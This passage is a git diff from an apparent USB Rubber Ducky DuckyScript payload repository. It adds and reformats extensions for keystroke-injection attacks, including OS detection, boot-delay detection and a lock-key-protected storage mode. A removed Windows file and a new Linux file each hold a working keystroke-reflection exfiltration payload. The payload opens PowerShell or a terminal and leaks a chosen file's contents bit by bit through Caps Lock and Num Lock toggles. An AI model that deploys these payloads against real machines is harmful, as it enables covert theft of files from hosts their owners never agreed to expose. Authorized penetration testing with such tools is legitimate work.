"00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "!": "02,00,1e", + "@": "02,00,1f", + "#": "02,00,20", + "$": "02,00,21", + "%": "02,00,22", + "^": "02,00,23", + "&": "02,00,24", + "*": "02,00,25", + "(": "02,00,26", + ")": "02,00,27", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2d", + "_": "02,00,2d", + "=": "00,00,2e", + "+": "02,00,2e", + "[": "00,00,2f", + "{": "02,00,2f", + "]": "00,00,30", + "}": "02,00,30", + "\\": "00,00,31", + "|": "02,00,31", + ";": "00,00,33", + ":": "02,00,33", + "'": "00,00,34", + "\"": "02,00,34", + "`": "00,00,35", + "~": "02,00,35", + ",": "00,00,36", + "<": "02,00,36", + ".": "00,00,37", + ">": "02,00,37", + "/": "00,00,38", + "?": "02,00,38", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN": "00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +} diff --git a/payloads/extensions/detect_ready.txt b/payloads/extensions/detect_ready.txt new file mode 100644 index 0000000..201405a --- /dev/null +++ b/payloads/extensions/detect_ready.txt @@ -0,0 +1,24 @@ +EXTENSION DETECT_READY + REM VERSION 1.0 + + REM USAGE: + REM Extension runs inline (here) + REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic + REM boot delay + + REM TARGETS: + REM Any system that reflects CAPSLOCK will detect minimum required delay + REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms + + REM CONFIGURATION: + DEFINE RESPONSE_DELAY 25 + DEFINE ITERATION_LIMIT 120 + + VAR $C = 0 + WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT)) + CAPSLOCK + DELAY RESPONSE_DELAY + $C = ($C + 1) + END_WHILE + CAPSLOCK +END_EXTENSION diff --git a/payloads/extensions/exfil_auto_eof_detect.txt b/payloads/extensions/exfil_auto_eof_detect.txt new file mode 100644 index 0000000..2d7c5f5 --- /dev/null +++ b/payloads/extensions/exfil_auto_eof_detect.txt @@ -0,0 +1,36 @@ +EXTENSION EXFIL_AUTO_EOF_DETECT + REM VERSION 1.0 + + REM USAGE: + REM Call WAIT_FOR_EOF() after starting Keystroke Reflection / HID Exfil + + REM TARGETS: + REM Any; intended for use on systems that dont reflect more than 2 lock keys + + FUNCTION WAIT_FOR_EOF() + VAR $CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON + VAR $CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON + VAR $PROCESSING = TRUE + VAR $INACTIVITY_COUNT = 0 + DEFINE INACTIVTY_TARGET 10 + WHILE ($PROCESSING) + DELAY 20 + IF($CURRENT_CAPSLOCK_STATE != $_CAPSLOCK_ON) THEN + $CURRENT_CAPSLOCK_STATE = $_CAPSLOCK_ON + $PROCESSING = TRUE + LED_G + ELSE IF($CURRENT_NUMLOCK_STATE != $_NUMLOCK_ON) THEN + $CURRENT_NUMLOCK_STATE = $_NUMLOCK_ON + $PROCESSING = TRUE + LED_R + ELSE + $INACTIVTY_COUNT = ($INACTIVTY_COUNT + 1) + IF ($INACTIVTY_COUNT >= INACTIVTY_TARGET) THEN + $PROCESSING = FALSE + END_IF + LED_OFF + END_IF + END_WHILE + LED_G + END_FUNCTION +END_EXTENSION diff --git a/payloads/extensions/hello_os.txt b/payloads/extensions/hello_os.txt index 243379a..8650c7f 100644 --- a/payloads/extensions/hello_os.txt +++ b/payloads/extensions/hello_os.txt @@ -1,24 +1,35 @@ EXTENSION HELLO_OS - VERSION 1.0 + REM VERSION 1.0 - REM For use with OS_DETECT Extension + REM USAGE: + REM For use with OS_DETECT Extension, call HELLO_OS() after DETECT_OS() REM prints the OS determination + REM Additional Example: Defining custom $_OS enums + DEFINE SOME_OTHER_OS 6 + DEFINE ANOTHER_OS 7 + FUNCTION HELLO_OS() - IF ($_OS == WINDOWS) THEN - STRING Hello Windows! - ELSE IF ($_OS == MACOS) THEN - STRING Hello Mac! - ELSE IF ($_OS == LINUX) THEN - STRING Hello Linux! - ELSE IF ($_OS == IOS) THEN - STRING Hello iOS! - ELSE IF ($_OS == CHROMEOS) THEN - STRING Hello ChromeOS! - ELSE IF ($_OS == ANDROID) THEN - STRING Hello Android! - ELSE - STRING Hello World! - END_IF + IF ($_OS == WINDOWS) THEN + STRING Hello Windows! + ELSE IF ($_OS == MACOS) THEN + STRING Hello Mac! + ELSE IF ($_OS == LINUX) THEN + STRING Hello Linux! + ELSE IF ($_OS == IOS) THEN + STRING Hello iOS! + ELSE IF ($_OS == CHROMEOS) THEN + STRING Hello ChromeOS! + ELSE IF ($_OS == ANDROID) THEN + STRING Hello Android! + ELSE IF($_OS == SOME_OTHER_OS) THEN + REM Example Only + STRING HELLO Custom OS Type! + ELSE IF($_OS == ANOTHER_OS) THEN + REM Example Only + STRING HELLO Another Custom OS Type! + ELSE + STRING Hello World! + END_IF END_FUNCTION END_EXTENSION diff --git a/payloads/extensions/hid_exfil.txt b/payloads/extensions/hid_exfil.txt deleted file mode 100644 index f28b5f1..0000000 --- a/payloads/extensions/hid_exfil.txt +++ /dev/null @@ -1,66 +0,0 @@ -EXTENSION HID_EXFIL - VERSION 1.0 - - REM Helpers for Keystroke Reflection data exfiltration - REM This payload is a proof of concept for USB HID only Data Exfiltration - - REM TARGET: - REM Windows Hostthat supports powershell and SendKeys - - REM USAGE: - REM Uncomment the function call below to run this extension inline - REM or call RUN_EXFIL() anywhere in your payload after the extension - - REM DEPLOYMENT: - REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green. - - REM BEGIN EXTENSION OPTIONS - - REM File on host machine to exfil using Keystroke Reflection attack - DEFINE TARGET_FILE C:\id.txt - - REM if STORAGE_ON_SUCCESS TRUE - the device will automatically switch to ATTACKMODE STORAGE after - REM EXFIL has completed; this is useful in testing - DEFINE STORAGE_ON_SUCCESS FALSE - - REM END EXTENSION OPTIONS - - FUNCTION RUN_EXFIL() - REM Boot - LED_OFF - DELAY 500 - REM Launch Windows RUN dialog - GUI R - DELAY 50 - REM Launch powershell - STRING powershell - ENTER - DELAY 250 - REM Save HOST's current lock state - SAVE_HOST_KEYBOARD_LOCK_STATE - REM Start Listening - Enable EXFIL mode, Enable EXFIL mode for Device LEDS - $_EXFIL_MODE_ENABLED = TRUE - $_EXFIL_LEDS_ENABLED = TRUE - REM Convert and reflect target file - STRING foreach($b in $(Get-Content "TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit; - ENTER - REM Listen for "EOF" - WAIT_FOR_SCROLL_CHANGE - REM Indicate SUCCESS on Device LED, Disable EXFIL mode - LED_G - $_EXFIL_MODE_ENABLED = FALSE - REM Restore HOST's lock state to original - RESTORE_HOST_KEYBOARD_LOCK_STATE - REM If configured, automatically change to ATTACKMODE STORAGE (useful in testing) - IF STORAGE_ON_SUCCESS { - ATTACKMODE STORAGE - } - END_FUNCTION - - REM Uncomment the function call below to run this extension inline (here) - REM or call RUN_EXFIL() anywhere in your payload after the extension - - REM RUN_EXFIL() - -END_EXTENSION - diff --git a/payloads/extensions/linux_hid_exfil.txt b/payloads/extensions/linux_hid_exfil.txt new file mode 100644 index 0000000..fe3a42b --- /dev/null +++ b/payloads/extensions/linux_hid_exfil.txt @@ -0,0 +1,44 @@ +EXTENSION LINUX_HID_EXFIL + REM VERSION 1.0 + + REM REQUIRES EXFIL_AUTO_EOF_DETECT EXTENSION + + REM Helpers for Linux Keystroke Reflection data exfiltration + REM This payload is a proof of concept for USB HID only Data Exfiltration + + REM TARGET: + REM Linux Host that supports opening terminal via CTRL ALT t, and xdotool + + REM USAGE: + REM Uncomment the function call below to run this extension inline + REM or call RUN_LINUX_EXFIL() anywhere in your payload after the extension + + REM DEPLOYMENT: + REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green. + + REM CONFIGURATION: + REM File on host machine to exfil using Keystroke Reflection attack + DEFINE TARGET_FILE t.txt + DEFINE TERMINAL_OPEN_DELAY 500 + DEFINE READY_TO_TYPE_DELAY 250 + FUNCTION RUN_LINUX_EXFIL() + LED_OFF + DELAY READY_TO_TYPE_DELAY + CTRL ALT t + DELAY TERMINAL_OPEN_DELAY + SAVE_HOST_KEYBOARD_LOCK_STATE + $_EXFIL_MODE_ENABLED = TRUE + $_EXFIL_LEDS_ENABLED = TRUE + STRINGLN uname -a > TARGET_FILE + STRINGLN c="xdotool key --delay 4";o=" Caps_Lock";l=" Num_Lock";bs=$(xxd -b TARGET_FILE |cut -d " " -f2-7);for (( i=0;i<${#bs};i++ ));do b="${bs:$i:1}";if [[ "$b" == "0" ]];then c+=$o;fi;if [[ "$b" == "1" ]];then c+=$l;fi;done;eval "$c";exit + WAIT_FOR_EOF() + $_EXFIL_LEDS_ENABLED = FALSE + $_EXFIL_MODE_ENABLED = FALSE + RESTORE_HOST_KEYBOARD_LOCK_STATE + END_FUNCTION + + REM Uncomment the function call below to run this extension inline (here) + REM or call RUN_WINDOWS_EXFIL() anywhere in your payload after the extension + + REM RUN_LINUX_EXFIL() +END_EXTENSION diff --git a/payloads/extensions/os_detect.txt b/payloads/extensions/os_detect.txt index 0a038ea..77c9275 100644 --- a/payloads/extensions/os_detect.txt +++ b/payloads/extensions/os_detect.txt @@ -1,10 +1,10 @@ EXTENSION OS_DETECTION - VERSION 1.0 + REM VERSION 1.0 REM USB Rubber Ducky Host OS Detection - REM "Generic" OS detection at a high view is a "moving target" + REM Generic OS detection at a high view is a moving target REM results may vary greatly depending - REM on a combination of many "variables": + REM on a combination of many variables: REM - number of testing stages REM - specific devices and versions tested against REM - number of systems testing for (scope) @@ -13,8 +13,8 @@ EXTENSION OS_DETECTION REM - overall accuracy REM TARGET: - DEFAULT - Windows, Mac, Linux - ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android + REM DEFAULT - Windows, Mac, Linux + REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android REM USAGE: REM Uncomment the function call below to run this extension inline (here) @@ -22,185 +22,181 @@ EXTENSION OS_DETECTION REM Place this extension and the DETECT_OS() before REM you would like to first reference $_OS to execute payload code conditionally - REM DEPLOYMENT: - REM Plug Ducky into host + REM CONFIGURATION: + DEFINE VERBOSE FALSE + DEFINE ADVANCED_DETECTION FALSE + DEFINE STARTUP_DELAY 1500 + DEFINE RESTART_WAIT 1000 + DEFINE CONNECT_WAIT 1000 + DEFINE OS_DETECT_MODE HID + DEFINE OS_DETECT_VID VID_05AC + DEFINE OS_DETECT_PID PID_021E + DEFINE WINDOWS_HOST_REQUEST_COUNT 2 + DEFINE HOST_RESPONSE_TIMEOUT 1000 FUNCTION DETECT_OS() - REM BEGIN EXTENSION OPTIONS - DEFINE VERBOSE FALSE - DEFINE ADVANCED_DETECTION FALSE - DEFINE STARTUP_DELAY 1500 - DEFINE RESTART_WAIT 1000 - DEFINE OS_DETECT_MODE HID - DEFINE OS_DETECT_VID VID_05AC - DEFINE OS_DETECT_PID PID_021E - DEFINE WINDOWS_HOST_REQUEST_COUNT 2 - DEFINE HOST_RESPONSE_TIMEOUT 1000 - REM END EXTENSION OPTIONS - - $_HOST_CONFIGURATION_REQUEST_COUNT = 0 - ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID - DELAY STARTUP_DELAY - SAVE_HOST_KEYBOARD_LOCK_STATE - - IF VERBOSE THEN - IF ADVANCED_DETECTION THEN - STRING ADVANCED OS DETECT - ELSE - STRING OS DETECT - END_IF - - ENTER - STRING test caps - END_IF - - IF ($_CAPSLOCK_ON == FALSE) THEN - LED_R - CAPSLOCK - DELAY HOST_RESPONSE_TIMEOUT - END_IF - LED_OFF - - IF VERBOSE THEN - ENTER - STRING test done - END_IF - - IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN - IF VERBOSE THEN - ENTER - STRING received led response - END_IF - LED_G - IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN - IF VERBOSE THEN - ENTER - STRING prediction: Windows - END_IF - $_OS = WINDOWS - ELSE - IF VERBOSE THEN - ENTER - STRING prediction: Linux - END_IF - $_OS = LINUX - END_IF - ELSE - IF VERBOSE THEN - ENTER - STRING no led response - ENTER - STRING prediciton: MacOS - END_IF - $_OS = MACOS - END_IF - - IF ADVANCED_DETECTION THEN - IF ( $_OS == LINUX ) THEN - IF VERBOSE THEN - ENTER - STRING soft reconnect - END_IF - ATTACKMODE OFF - DELAY RESTART_WAIT - ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID - DELAY CONNECT_WAIT - IF VERBOSE THEN - ENTER - STRING reconnected - END_IF - IF ($_CAPSLOCK_ON == TRUE) THEN - IF VERBOSE THEN - ENTER - STRING caps led on - ENTER - STRING test numlock - END_IF - NUMLOCK - DELAY HOST_RESPONSE_TIMEOUT - IF VERBOSE THEN - ENTER - STRING test done - END_IF - IF ($_NUMLOCK_ON == FALSE) THEN - IF VERBOSE THEN - ENTER - STRING no numlock led - ENTER - STRING prediciton: ChromeOS - END_IF - $_OS = CHROMEOS - ELSE - IF VERBOSE THEN - ENTER - STRING numlock led on - ENTER - STRING testing scrolllock - END_IF - SCROLLLOCK - DELAY HOST_RESPONSE_TIMEOUT - IF VERBOSE THEN - ENTER - STRING test done - END_IF - IF ($_SCROLLLOCK_ON == TRUE) THEN - IF VERBOSE THEN - ENTER - STRING scrolllock led on - ENTER - STRING prediciton: Android - END_IF - $_OS = ANDROID - ELSE - IF VERBOSE THEN - ENTER - STRING no scrolllock reply - ENTER - STRING prediction: Linux - END_IF - $_OS = LINUX - END_IF - END_IF - END_IF - ELSE IF ($_OS == MACOS) THEN - IF ($_CAPSLOCK_ON == TRUE) THEN - IF VERBOSE THEN - ENTER - STRING caps led on - ENTER - STRING prediction: iOS - END_IF - $_OS = IOS - ELSE - IF VERBOSE THEN - ENTER - STRING no caps reply - ENTER - STRING prediction: MacOS - END_IF - $_OS = MACOS - END_IF - ELSE IF ($_OS == WINDOWS) THEN - IF VERBOSE THEN - ENTER - STRING Confident Windows Prediction - END_IF - $_OS = WINDOWS - END_IF - END_IF - - RESTORE_HOST_KEYBOARD_LOCK_STATE - - IF VERBOSE THEN - ENTER - STRING OS_DETECT complete - ENTER - END_IF + $_HOST_CONFIGURATION_REQUEST_COUNT = 0 + ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID + DELAY STARTUP_DELAY + SAVE_HOST_KEYBOARD_LOCK_STATE + + IF VERBOSE THEN + IF ADVANCED_DETECTION THEN + STRING ADVANCED OS DETECT + ELSE + STRING OS DETECT + END_IF + + ENTER + STRING test caps + END_IF + + IF ($_CAPSLOCK_ON == FALSE) THEN + LED_R + CAPSLOCK + DELAY HOST_RESPONSE_TIMEOUT + END_IF + LED_OFF + + IF VERBOSE THEN + ENTER + STRING test done + END_IF + + IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN + IF VERBOSE THEN + ENTER + STRING received led response + END_IF + LED_G + IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN + IF VERBOSE THEN + ENTER + STRING prediction: Windows + END_IF + $_OS = WINDOWS + ELSE + IF VERBOSE THEN + ENTER + STRING prediction: Linux + END_IF + $_OS = LINUX + END_IF + ELSE + IF VERBOSE THEN + ENTER + STRING no led response + ENTER + STRING prediciton: MacOS + END_IF + $_OS = MACOS + END_IF + + IF ADVANCED_DETECTION THEN + IF ( $_OS == LINUX ) THEN + IF VERBOSE THEN + ENTER + STRING soft reconnect + END_IF + ATTACKMODE OFF + DELAY RESTART_WAIT + ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID + DELAY CONNECT_WAIT + IF VERBOSE THEN + ENTER + STRING reconnected + END_IF + IF ($_CAPSLOCK_ON == TRUE) THEN + IF VERBOSE THEN + ENTER + STRING caps led on + ENTER + STRING test numlock + END_IF + NUMLOCK + DELAY HOST_RESPONSE_TIMEOUT + IF VERBOSE THEN + ENTER + STRING test done + END_IF + IF ($_NUMLOCK_ON == FALSE) THEN + IF VERBOSE THEN + ENTER + STRING no numlock led + ENTER + STRING prediciton: ChromeOS + END_IF + $_OS = CHROMEOS + ELSE + IF VERBOSE THEN + ENTER + STRING numlock led on + ENTER + STRING testing scrolllock + END_IF + SCROLLLOCK + DELAY HOST_RESPONSE_TIMEOUT + IF VERBOSE THEN + ENTER + STRING test done + END_IF + IF ($_SCROLLLOCK_ON == TRUE) THEN + IF VERBOSE THEN + ENTER + STRING scrolllock led on + ENTER + STRING prediciton: Android + END_IF + $_OS = ANDROID + ELSE + IF VERBOSE THEN + ENTER + STRING no scrolllock reply + ENTER + STRING prediction: Linux + END_IF + $_OS = LINUX + END_IF + END_IF + END_IF + ELSE IF ($_OS == MACOS) THEN + IF ($_CAPSLOCK_ON == TRUE) THEN + IF VERBOSE THEN + ENTER + STRING caps led on + ENTER + STRING prediction: iOS + END_IF + $_OS = IOS + ELSE + IF VERBOSE THEN + ENTER + STRING no caps reply + ENTER + STRING prediction: MacOS + END_IF + $_OS = MACOS + END_IF + ELSE IF ($_OS == WINDOWS) THEN + IF VERBOSE THEN + ENTER + STRING Confident Windows Prediction + END_IF + $_OS = WINDOWS + END_IF + END_IF + + RESTORE_HOST_KEYBOARD_LOCK_STATE + + IF VERBOSE THEN + ENTER + STRING OS_DETECT complete + ENTER + END_IF END_FUNCTION - + REM Uncomment the function call below to run this extension inline (here) REM or call DETECT_OS() anywhere in your payload after the extension REM DETECT_OS() - -END_EXTENSION \ No newline at end of file +END_EXTENSION diff --git a/payloads/extensions/passive_detect_ready.txt b/payloads/extensions/passive_detect_ready.txt new file mode 100644 index 0000000..1551c44 --- /dev/null +++ b/payloads/extensions/passive_detect_ready.txt @@ -0,0 +1,21 @@ +EXTENSION PASSIVE_DETECT_READY + REM VERSION 1.0 + + REM Passive Detect Ready - no injection dynamic boot delay + REM for hosts that reflect current OS lock key state on connect + + REM USAGE: + REM Extension runs inline (here) + REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic + REM boot delay + + REM CONFIGURATION: + DEFINE MAX_WAIT 150 + DEFINE CHECK_INTERVAL 20 + + VAR $MAX_TRIES = MAX_WAIT + WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) + DELAY CHECK_INTERVAL + $MAX_TRIES = ($MAX_TRIES - 1) + END_WHILE +END_EXTENSION diff --git a/payloads/extensions/passive_windows_detect.txt b/payloads/extensions/passive_windows_detect.txt new file mode 100644 index 0000000..1edd416 --- /dev/null +++ b/payloads/extensions/passive_windows_detect.txt @@ -0,0 +1,37 @@ +EXTENSION PASSIVE_WINDOWS_DETECT + REM VERSION 1.0 + + REM Windows fully passive OS Detection and passive Detect Ready + REM Includes its own passive detect ready. Does not require + REM additional extensions + + REM USAGE: + REM Extension runs inline (here) + REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic + REM boot delay + REM $_OS will be set to WINDOWS or NOT_WINDOWS + + REM CONFIGURATION: + DEFINE MAX_WAIT 150 + DEFINE CHECK_INTERVAL 20 + DEFINE WINDOWS_HOST_REQUEST_COUNT 2 + DEFINE NOT_WINDOWS 7 + + VAR $MAX_TRIES = MAX_WAIT + WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) + DELAY CHECK_INTERVAL + $MAX_TRIES = ($MAX_TRIES - 1) + END_WHILE + IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN + $_OS = WINDOWS + ELSE + $_OS = NOT_WINDOWS + END_IF + + REM EXAMPLE USAGE AFTER EXTENSION + REM IF ($_OS == WINDOWS) THEN + REM STRING HELLO WINDOWS! + REM ELSE + REM STRING HELLO WORLD! + REM END_IF +END_EXTENSION diff --git a/payloads/extensions/protected_storage_mode.txt b/payloads/extensions/protected_storage_mode.txt index 7dba8ff..4659cf8 100644 --- a/payloads/extensions/protected_storage_mode.txt +++ b/payloads/extensions/protected_storage_mode.txt @@ -1,9 +1,9 @@ EXTENSION PROTECTED_STORAGE_MODE - VERSION 1.0 + REM VERSION 1.0 REM Example hidden storage mode - REM Forces user to "padlock style" unlock storage mode by setting - REM the host's lock keys and pressing the duck button to "submit" a + REM Forces user to padlock style unlock storage mode by setting + REM the HOSTs lock keys and pressing the duck button to submit a REM combination three times. REM The wrong combination will immediately fail silently. REM The correct combination will trigger ATTACKMODE STORAGE and LED_G @@ -17,31 +17,30 @@ EXTENSION PROTECTED_STORAGE_MODE REM END_BUTTON FUNCTION STORAGE_PASSWORD_CHECK() - VAR $ACCEPED = FALSE - LED_R - WAIT_FOR_BUTTON_PRESS + VAR $ACCEPED = FALSE + LED_R + WAIT_FOR_BUTTON_PRESS - REM first combination ALL LOCKS OFF - IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN - STRING . - WAIT_FOR_BUTTON_PRESS + REM first combination ALL LOCKS OFF + IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN + STRING . + WAIT_FOR_BUTTON_PRESS - REM second combination ONLY CAPS ON - IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN - STRING . - WAIT_FOR_BUTTON_PRESS + REM second combination ONLY CAPS ON + IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN + STRING . + WAIT_FOR_BUTTON_PRESS - REM third combination ONLY NUM ON - IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE)) THEN - $ACCEPTED = TRUE - END_IF - END_IF - END_IF + REM third combination ONLY NUM ON + IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE)) THEN + $ACCEPTED = TRUE + END_IF + END_IF + END_IF - IF $ACCEPTED THEN - LED_G - ATTACKMODE STORAGE - END_IF + IF $ACCEPTED THEN + LED_G + ATTACKMODE STORAGE + END_IF END_FUNCTION - END_EXTENSION diff --git a/payloads/extensions/translate.txt b/payloads/extensions/translate.txt index caa7b5e..811b9ea 100644 --- a/payloads/extensions/translate.txt +++ b/payloads/extensions/translate.txt @@ -1,17 +1,17 @@ EXTENSION TRANSLATE - VERSION 1.0 + REM VERSION 1.0 REM This extension acts as a library or collection of helper functions REM to work with converting variables in your payloads. REM WHY: REM Of the many ways to get information about the state of your payload - REM is by injecting static strings effectively as debugging "printf's" + REM is by injecting static strings effectively as debugging prints REM However, given the non-static nature of payloads using variables in REM DuckyScript 3.0 - the ability to decode variables during payload - REM execution and "print" (inject) representations of their current state + REM execution and print (inject) representations of their current state REM can often be a critically helpful development and debugging tool. - REM Available Functions: + REM Available Functions: REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call @@ -23,196 +23,195 @@ EXTENSION TRANSLATE REM VAR $myVar = 1234 REM $INPUT = $myVar REM TRANSLATE_INT() - REM REM the above code will inject "1234" - - REM BEGIN EXTENSION VARIABLES - DEFINE PRINT_INT 0 - DEFINE PRINT_HEX 1 - VAR $DIGIT_PRINT_MODE = PRINT_INT - VAR $D = 0 - VAR $IN = 0 - VAR $INPUT = 0 - VAR $MOD = 0 - VAR $P = FALSE - VAR $NL = TRUE - REM END EXTENSION VARIABLES - - REM REQUIRED for INT/HEX - convert int to char - FUNCTION PRINTDIGIT() - IF ($D == 0) THEN - STRING 0 - ELSE IF ($D == 1) THEN - STRING 1 - ELSE IF ($D == 2) THEN - STRING 2 - ELSE IF ($D == 3) THEN - STRING 3 - ELSE IF ($D == 4) THEN - STRING 4 - ELSE IF ($D == 5) THEN - STRING 5 - ELSE IF ($D == 6) THEN - STRING 6 - ELSE IF ($D == 7) THEN - STRING 7 - ELSE IF ($D == 8) THEN - STRING 8 - ELSE IF ($D == 9) THEN - STRING 9 - ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN - IF ($D == 10) THEN - STRING A - ELSE IF ($D == 11) THEN - STRING B - ELSE IF ($D == 12) THEN - STRING C - ELSE IF ($D == 13) THEN - STRING D - ELSE IF ($D == 14) THEN - STRING E - ELSE IF ($D == 15) THEN - STRING F - END_IF - ELSE - STRING ? - END_IF - END_FUNCTION - - REM REQUIRED for INT/HEX- consumes a "character" / "place" from the input - FUNCTION CONSUME() - $D = 0 - WHILE ($INPUT >= $MOD) - $D = ($D + 1) - $INPUT = ($INPUT - $MOD) - END_WHILE - IF (($D > 0) || ($P == TRUE)) THEN - $P = TRUE - PRINTDIGIT() - END_IF - END_FUNCTION - - REM ENDIAN SWAPPER helper, (useful for working with VID/PID) - FUNCTION SWAP_ENDIAN() - $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00)) - END_FUNCTION - - REM Translates a variable of presumed integer type and attempts to convert - REM and inject a DECIMAL string representation - FUNCTION TRANSLATE_INT() - $DIGIT_PRINT_MODE = PRINT_INT - $P = FALSE - IF ( $INPUT >= 10000) THEN - $MOD = 10000 - CONSUME() - END_IF - IF (($INPUT >= 1000) || ($P == TRUE)) THEN - $MOD = 1000 - CONSUME() - END_IF - IF (($INPUT >= 100) || ($P == TRUE)) THEN - $MOD = 100 - CONSUME() - END_IF - IF (($INPUT >= 10) || ($P == TRUE)) THEN - $MOD = 10 - CONSUME() - END_IF() - $D = $INPUT - PRINTDIGIT() - IF $NL THEN - ENTER - END_IF - END_FUNCTION - - REM Translates a variable of presumed boolean type and attempts to convert - REM and inject a BOOLEAN string representation - FUNCTION TRANSLATE_BOOL() - IF $INPUT THEN - STRING TRUE - ELSE - STRING FALSE - END_IF - IF $NL THEN - ENTER - END_IF - END_FUNCTION - - REM Translates a variable of presumed integer type and attempts to convert - REM and inject a HEX string representation - FUNCTION TRANSLATE_HEX() - $DIGIT_PRINT_MODE = PRINT_HEX - VAR $chars = 0 - VAR $d1 = 0 - VAR $d2 = 0 - VAR $d3 = 0 - VAR $d4 = 0 - WHILE ($INPUT > 0) - IF ($chars == 0) THEN - $d1 = ($INPUT % 16) - ELSE IF ($chars == 1) THEN - $d2 = ($INPUT % 16) - ELSE IF ($chars == 2) THEN - $d3 = ($INPUT % 16) - ELSE IF ($chars == 3) THEN - $d4 = ($INPUT % 16) - END_IF - $chars = ($chars + 1) - $INPUT = ($INPUT / 16) - END_WHILE - VAR $i = 0 - STRING 0x - IF ($chars == 0) THEN - STRING 0x0000 - ELSE IF ($chars == 1) THEN - STRING 000 - $D = $d1 - PRINTDIGIT() - ELSE IF ($chars == 2) THEN - STRING 00 - $D = $d2 - PRINTDIGIT() - $D = $d1 - PRINTDIGIT() - ELSE IF ($chars == 3) THEN - STRING 0 - $D = $d3 - PRINTDIGIT() - $D = $d2 - PRINTDIGIT() - $D = $d1 - PRINTDIGIT() - ELSE IF ($chars == 4) THEN - STRING 0 - $D = $d4 - PRINTDIGIT() - $D = $d3 - PRINTDIGIT() - $D = $d2 - PRINTDIGIT() - $D = $d1 - PRINTDIGIT() - END_IF - IF $NL THEN - ENTER - END_IF - END_FUNCTION - - REM Translates a variable of presumed integer type and attempts to convert - REM and inject a BINARY string representation - FUNCTION TRANSLATE_BINARY() - VAR $I = 16 - WHILE ( $I > 0 ) - $I = ($I - 1) - IF (($INPUT & 0x8000) == 0 ) THEN - STRING 0 - ELSE - STRING 1 - END_IF - $INPUT = ($INPUT << 1) - END_WHILE - IF $NL THEN - ENTER - END_IF - END_FUNCTION + REM REM the above code will inject 1234 + REM begin extension variables + DEFINE PRINT_INT 0 + DEFINE PRINT_HEX 1 + VAR $DIGIT_PRINT_MODE = PRINT_INT + VAR $D = 0 + VAR $IN = 0 + VAR $INPUT = 0 + VAR $MOD = 0 + VAR $P = FALSE + VAR $NL = TRUE + REM end extension variables + + REM REQUIRED for INT/HEX - convert int to char + FUNCTION PRINTDIGIT() + IF ($D == 0) THEN + STRING 0 + ELSE IF ($D == 1) THEN + STRING 1 + ELSE IF ($D == 2) 